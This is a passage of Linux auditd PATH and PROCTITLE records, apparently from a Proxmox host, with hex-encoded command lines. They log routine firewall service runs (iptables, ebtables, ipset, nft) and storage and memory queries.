msg=audit(1781966075.294:68320): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245801,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.801:64794): proctitle=\"ip6tables-save\""} {"@timestamp":1781966075294,"@rawstring":"node=pve type=PATH msg=audit(1781966075.294:68319): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.793:64793): proctitle=\"iptables-save\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PATH msg=audit(1781966075.283:68318): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245787,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.787:64792): proctitle=\"ebtables-restore\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PATH msg=audit(1781966075.283:68318): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.785:64791): proctitle=\"ebtables-restore\""} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PATH msg=audit(1781966075.283:68317): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.778:64790): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966075283,"@rawstring":"node=pve type=PATH msg=audit(1781966075.283:68316): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.773:64789): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966074399,"@rawstring":"node=pve type=PATH msg=audit(1781966074.399:68315): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.767:64788): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966074399,"@rawstring":"node=pve type=PATH msg=audit(1781966074.399:68315): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245759,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.759:64787): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966074374,"@rawstring":"node=pve type=PATH msg=audit(1781966074.374:68314): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.753:64786): proctitle=697073657400726573746F7265"} {"@timestamp":1781966074374,"@rawstring":"node=pve type=PATH msg=audit(1781966074.374:68314): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245743,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.743:64785): proctitle=\"ip6tables-save\""} {"@timestamp":1781966073591,"@rawstring":"node=pve type=PATH msg=audit(1781966073.591:68313): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.735:64784): proctitle=\"iptables-save\""} {"@timestamp":1781966073591,"@rawstring":"node=pve type=PATH msg=audit(1781966073.591:68313): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.730:64783): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966073591,"@rawstring":"node=pve type=PATH msg=audit(1781966073.591:68313): item=0 name=\"/usr/bin/pvesh\" inode=304825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245727,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.727:64782): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PATH msg=audit(1781966070.275:68312): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.725:64781): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PATH msg=audit(1781966070.275:68312): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245725,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.725:64780): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PATH msg=audit(1781966070.275:68311): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245719,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.719:64779): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966070275,"@rawstring":"node=pve type=PATH msg=audit(1781966070.275:68310): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.709:64778): proctitle=\"ip6tables-save\""} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PATH msg=audit(1781966070.270:68309): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.700:64777): proctitle=\"iptables-save\""} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PATH msg=audit(1781966070.270:68309): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.697:64776): proctitle=69707365740073617665"} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PATH msg=audit(1781966070.270:68308): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.689:64775): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966070270,"@rawstring":"node=pve type=PATH msg=audit(1781966070.270:68307): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965245678,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965245.678:64774): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966065483,"@rawstring":"node=pve type=PATH msg=audit(1781966065.483:68306): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965244125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965244.125:64773): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966065483,"@rawstring":"node=pve type=PATH msg=audit(1781966065.483:68306): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965244102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965244.102:64772): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966065480,"@rawstring":"node=pve type=PATH msg=audit(1781966065.480:68305): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965242.291:64771): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065480,"@rawstring":"node=pve type=PATH msg=audit(1781966065.480:68305): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965242.291:64770): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065479,"@rawstring":"node=pve type=PATH msg=audit(1781966065.479:68304): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965242.291:64769): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065479,"@rawstring":"node=pve type=PATH msg=audit(1781966065.479:68304): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965242.285:64768): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065479,"@rawstring":"node=pve type=PATH msg=audit(1781966065.479:68303): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965242.285:64767): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065474,"@rawstring":"node=pve type=PATH msg=audit(1781966065.474:68302): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965242285,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965242.285:64766): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065474,"@rawstring":"node=pve type=PATH msg=audit(1781966065.474:68302): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965240.299:64765): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966065474,"@rawstring":"node=pve type=PATH msg=audit(1781966065.474:68302): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965240.298:64764): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781966065466,"@rawstring":"node=pve type=PATH msg=audit(1781966065.466:68301): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965240297,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965240.297:64763): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781966065466,"@rawstring":"node=pve type=PATH msg=audit(1781966065.466:68301): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965237.279:64762): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065457,"@rawstring":"node=pve type=PATH msg=audit(1781966065.457:68300): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965237.279:64761): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065457,"@rawstring":"node=pve type=PATH msg=audit(1781966065.457:68300): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965237.279:64760): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065447,"@rawstring":"node=pve type=PATH msg=audit(1781966065.447:68299): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965237.272:64759): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065447,"@rawstring":"node=pve type=PATH msg=audit(1781966065.447:68299): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965237.272:64758): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065438,"@rawstring":"node=pve type=PATH msg=audit(1781966065.438:68298): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965237272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965237.272:64757): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966065438,"@rawstring":"node=pve type=PATH msg=audit(1781966065.438:68298): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.669:64756): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966065429,"@rawstring":"node=pve type=PATH msg=audit(1781966065.429:68296): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.665:64755): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966065429,"@rawstring":"node=pve type=PATH msg=audit(1781966065.429:68296): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.664:64754): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966065421,"@rawstring":"node=pve type=PATH msg=audit(1781966065.421:68295): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.664:64753): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966065421,"@rawstring":"node=pve type=PATH msg=audit(1781966065.421:68295): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235658,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.658:64752): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966065412,"@rawstring":"node=pve type=PATH msg=audit(1781966065.412:68294): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.652:64751): proctitle=\"ip6tables-save\""} {"@timestamp":1781966065412,"@rawstring":"node=pve type=PATH msg=audit(1781966065.412:68294): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.646:64750): proctitle=\"iptables-save\""} {"@timestamp":1781966065406,"@rawstring":"node=pve type=PATH msg=audit(1781966065.406:68293): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.640:64749): proctitle=\"ip6tables-save\""} {"@timestamp":1781966065406,"@rawstring":"node=pve type=PATH msg=audit(1781966065.406:68293): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.632:64748): proctitle=\"iptables-save\""} {"@timestamp":1781966065399,"@rawstring":"node=pve type=PATH msg=audit(1781966065.399:68292): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.630:64747): proctitle=\"ebtables-restore\""} {"@timestamp":1781966065399,"@rawstring":"node=pve type=PATH msg=audit(1781966065.399:68292): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235626,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.626:64746): proctitle=\"ebtables-restore\""} {"@timestamp":1781966065393,"@rawstring":"node=pve type=PATH msg=audit(1781966065.393:68291): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.622:64745): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966065393,"@rawstring":"node=pve type=PATH msg=audit(1781966065.393:68291): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.613:64744): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966065381,"@rawstring":"node=pve type=PATH msg=audit(1781966065.381:68290): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.601:64743): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966065381,"@rawstring":"node=pve type=PATH msg=audit(1781966065.381:68290): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235597,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.597:64742): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966065374,"@rawstring":"node=pve type=PATH msg=audit(1781966065.374:68289): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.588:64741): proctitle=697073657400726573746F7265"} {"@timestamp":1781966065374,"@rawstring":"node=pve type=PATH msg=audit(1781966065.374:68289): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.577:64740): proctitle=\"ip6tables-save\""} {"@timestamp":1781966065370,"@rawstring":"node=pve type=PATH msg=audit(1781966065.370:68288): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235559,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.559:64739): proctitle=\"iptables-save\""} {"@timestamp":1781966065370,"@rawstring":"node=pve type=PATH msg=audit(1781966065.370:68288): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235546,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.546:64738): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966065367,"@rawstring":"node=pve type=PATH msg=audit(1781966065.367:68287): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781966065367,"@rawstring":"node=pve type=PATH msg=audit(1781966065.367:68287): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.537:64737): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966065366,"@rawstring":"node=pve type=PATH msg=audit(1781966065.366:68286): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.534:64736): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966065366,"@rawstring":"node=pve type=PATH msg=audit(1781966065.366:68286): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965235534,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965235.534:64735): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} 